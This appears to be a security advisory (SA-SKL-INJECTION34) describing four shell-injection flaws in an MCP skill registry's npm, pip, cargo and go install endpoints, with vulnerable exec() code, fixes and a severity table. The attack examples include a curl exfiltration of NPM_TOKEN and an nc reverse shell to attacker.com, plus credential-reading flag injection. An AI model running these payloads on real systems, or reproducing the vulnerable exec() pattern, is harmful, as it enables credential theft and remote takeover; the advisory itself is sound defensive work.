Claude MCP skill code injection — skill dependency and package management pipeline endpoints — SA-SKL-INJECTION34
SA-SKL-INJECTION34 documents four code injection vulnerabilities in MCP skill registry dependency and package management pipeline endpoints. Package management pipelines invoke package manager binaries (npm, pip, cargo, go) with user-supplied package identifiers interpolated into shell command strings. Each interpolated value is a shell injection vector: a semicolon, pipe, or backtick in the package name or version breaks out of the intended command and executes attacker-controlled shell code with the privileges of the registry worker process — which typically includes access to package registry authentication tokens, cloud credentials, and private module access tokens stored as environment variables.
exec('npm install --prefix ${workDir} ${packageSpec}') — attacker packageSpec with ; cat /etc/secrets/NPM_TOKEN exfiltrates npm registry token used for private package publishing; fix: execFile() array; validate packageSpec against /^[a-z0-9@/._\-]{1,200}$/; realpathSync containment for workDirexec('pip install --target ${targetDir} ${requirement}') — attacker requirement with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell; fix: execFile() array; validate requirement against pinned package allowlist; realpathSync containment for targetDirexec('cargo install --root ${installRoot} ${crateName}') — attacker crateName with space-injected --config /app/secrets/cargo.toml reads Cargo registry credentials; fix: execFile() array; validate crateName against /^[a-zA-Z0-9_\-]{1,64}$/; --config as fixed server-side argumentexec('go get ${modulePath}@${version}') — attacker modulePath with semicolon injects env > /tmp/out.txt exfiltrating all env vars including GONOSUMCHECK and private module tokens; fix: execFile() array; validate modulePath against /^[a-z0-9.\-\/]{1,500}$/; validate version against semver patternINJECTION34-001 — npm install injection exfiltrates NPM_TOKEN
The npm package installation endpoint invokes npm using child_process.exec('npm install --prefix ' + workDir + ' ' + packageSpec). When packageSpec is user-supplied and unvalidated, an attacker can supply a value like lodash; cat /etc/secrets/NPM_TOKEN | curl -d @- https://attacker.com/collect. The shell interprets the semicolon as a command separator, executes the legitimate npm install, then exfiltrates the NPM_TOKEN to the attacker's server. The NPM_TOKEN grants publish access to all npm packages owned by the registry's CI account — a supply chain compromise vector that extends beyond the registry itself to every package the CI system can publish.
INJECTION34-001 fix: Replace exec() with execFile('npm', ['install', '--prefix', workDir, packageSpec]). execFile() does not invoke a shell; each array element is passed directly to the subprocess as a separate argument, eliminating shell metacharacter interpretation. Validate packageSpec against /^[a-z0-9@/._\-]{1,200}$/ before passing it to execFile(). Use realpathSync(workDir) and verify it is within the designated sandbox base directory to prevent directory traversal via the prefix argument.
// exec() with string interpolation — shell injection via semicolon in packageSpec
exec(`npm install --prefix ${workDir} ${packageSpec}`, (err, stdout, stderr) => {
// attacker packageSpec: "lodash; cat /etc/secrets/NPM_TOKEN | curl -d @- https://attacker.com"
res.json({ ok: !err });
});
const PACKAGE_SPEC_PATTERN = /^[a-z0-9@\/._\-]{1,200}$/;
if (!PACKAGE_SPEC_PATTERN.test(packageSpec)) {
return res.status(400).json({ error: 'invalid package specification' });
}
const resolvedWorkDir = realpathSync(workDir);
if (!resolvedWorkDir.startsWith(SANDBOX_BASE)) {
return res.status(400).json({ error: 'work directory outside sandbox' });
}
// execFile: no shell invocation, arguments passed directly
execFile('npm', ['install', '--prefix', resolvedWorkDir, packageSpec],
{ env: { PATH: '/usr/local/bin:/usr/bin', HOME: SANDBOX_HOME } }, // minimal env
(err) => res.json({ ok: !err })
);
INJECTION34-002 — pip install injection establishes reverse shell
The Python package installation endpoint invokes pip using exec('pip install --target ' + targetDir + ' ' + requirement). An attacker can supply requirement as requests; nc attacker.com 4444 -e /bin/sh. The shell executes pip install --target /app/sandbox requests successfully, then spawns a reverse shell back to the attacker's listener on port 4444. The reverse shell has full access to the registry worker process filesystem, environment variables, and network, including access to cloud credentials and private package indices configured in the worker environment.
INJECTION34-002 fix: Replace exec() with execFile('pip', ['install', '--target', targetDir, requirement]). Validate requirement against a pinned allowlist of permitted packages (or against a strict package name pattern like /^[a-zA-Z0-9_\-\.]{1,200}(==[\d.]+)?$/). Use realpathSync(targetDir) for sandbox containment. Never pass unvalidated user input as a shell command string.
// WRONG — exec() with interpolated requirement; reverse shell via semicolon
exec(`pip install --target ${targetDir} ${requirement}`, callback);
// RIGHT — execFile(); allowlist validation; realpathSync containment
const resolvedTargetDir = realpathSync(targetDir);
if (!resolvedTargetDir.startsWith(SANDBOX_BASE)) return res.status(400).json({ error: 'forbidden' });
const PKG_PATTERN = /^[a-zA-Z0-9_\-\.]{1,200}(==[0-9.]+)?$/;
if (!PKG_PATTERN.test(requirement)) return res.status(400).json({ error: 'invalid requirement' });
execFile('pip', ['install', '--target', resolvedTargetDir, '--no-deps', requirement],
{ env: { PATH: '/usr/local/bin:/usr/bin' } }, callback);
INJECTION34-003 — cargo install flag injection reads Cargo registry credentials
The Rust package installation endpoint invokes cargo using exec('cargo install --root ' + installRoot + ' ' + crateName). Unlike the semicolon injection in INJECTION34-001 and INJECTION34-002, this attack uses a space-separated flag injection: an attacker supplies crateName as rand --config /app/secrets/cargo.toml. The shell interprets this as three arguments to cargo: rand (the crate name), --config (a flag), and /app/secrets/cargo.toml (the config path). Cargo then reads the specified config file — which contains private crates.io authentication tokens and private registry credentials — and may expose those credentials in error output or use them in ways that the attacker can observe.
INJECTION34-003 fix: Replace exec() with execFile('cargo', ['install', '--root', installRoot, '--locked', crateName]). Validate crateName against /^[a-zA-Z0-9_\-]{1,64}$/. Pass --config as a fixed server-side argument pointing to a read-only config file — never derive the config path from user input. Use realpathSync(installRoot) for sandbox containment.
// WRONG — space-injected --config reads Cargo credentials
exec(`cargo install --root ${installRoot} ${crateName}`, callback);
// attacker crateName: "rand --config /app/secrets/cargo.toml"
// RIGHT — execFile(); crate name validation; fixed --config argument
const CRATE_PATTERN = /^[a-zA-Z0-9_\-]{1,64}$/;
if (!CRATE_PATTERN.test(crateName)) return res.status(400).json({ error: 'invalid crate name' });
const resolvedRoot = realpathSync(installRoot);
if (!resolvedRoot.startsWith(SANDBOX_BASE)) return res.status(400).json({ error: 'forbidden' });
execFile('cargo', [
'install', '--root', resolvedRoot, '--locked',
'--config', FIXED_CARGO_CONFIG_PATH, // server-side constant, never from user input
crateName
], { env: { CARGO_HOME: SANDBOX_CARGO_HOME } }, callback);
INJECTION34-004 — go get injection exfiltrates all env vars including private module tokens
The Go module installation endpoint invokes go using exec('go get ' + modulePath + '@' + version). An attacker supplies modulePath as golang.org/x/crypto; env > /tmp/out.txt. The shell executes go get golang.org/x/crypto first, then writes all environment variables — including GONOSUMCHECK, GONOSUMDB, GOFLAGS, private Go module proxy tokens, and cloud provider credentials available to the worker — to /tmp/out.txt. The attacker then reads this file through a subsequent path traversal or file read vulnerability, or uses a network exfiltration path instead of file write.
INJECTION34-004 fix: Replace exec() with execFile('go', ['get', modulePath + '@' + version]). Validate modulePath against /^[a-z0-9.\-\/]{1,500}$/. Validate version against a semver pattern like /^v[0-9]+\.[0-9]+\.[0-9]+(-[a-zA-Z0-9.]+)?(\+[a-zA-Z0-9.]+)?$/. Run go in a minimal environment (GOPATH, GOMODCACHE pointing to sandboxed dirs, no cloud credential env vars) using the env option in execFile.
// WRONG — exec() with interpolated modulePath; env exfiltration via semicolon
exec(`go get ${modulePath}@${version}`, callback);
// RIGHT — execFile(); path and version validation; minimal env
const MODULE_PATTERN = /^[a-z0-9.\-\/]{1,500}$/;
const VERSION_PATTERN = /^v[0-9]+\.[0-9]+\.[0-9]+(-[a-zA-Z0-9.]+)?$/;
if (!MODULE_PATTERN.test(modulePath) || !VERSION_PATTERN.test(version)) {
return res.status(400).json({ error: 'invalid module path or version' });
}
execFile('go', ['get', `${modulePath}@${version}`], {
env: {
PATH: '/usr/local/go/bin:/usr/bin',
GOPATH: SANDBOX_GOPATH,
GOMODCACHE: SANDBOX_GOMODCACHE,
GONOSUMCHECK: 'off', // explicit; never inherit from process env
HOME: SANDBOX_HOME
// No cloud credentials, no private module tokens, no GONOSUMDB tokens
}
}, callback);
SkillAudit scans for child_process.exec() calls with user-controlled values interpolated into shell command strings across npm, pip, cargo, and go package management code paths in your MCP skill registry — and flags the absence of execFile() array argument patterns that prevent shell injection.
| Finding | Severity | Vector | Impact |
|---|---|---|---|
| INJECTION34-001 | CRITICAL | exec(npm install ... ${packageSpec}) semicolon injection | NPM_TOKEN exfiltration; npm publish access to all registry CI packages (supply chain) |
| INJECTION34-002 | CRITICAL | exec(pip install ... ${requirement}) semicolon injection | Reverse shell with full worker process access; cloud credentials and private package indices |
| INJECTION34-003 | CRITICAL | exec(cargo install ... ${crateName}) space-flag injection | Cargo registry credential read via --config flag injection; private crate publish access |
| INJECTION34-004 | CRITICAL | exec(go get ${modulePath}@${version}) semicolon injection | All env vars exfiltrated including GONOSUMCHECK and private Go module proxy tokens |
See also: SA-SKL-INJECTION33 (static analysis and linting pipeline injection patterns) for the same exec() injection surface in semgrep, bandit, trivy, and golangci-lint invocations.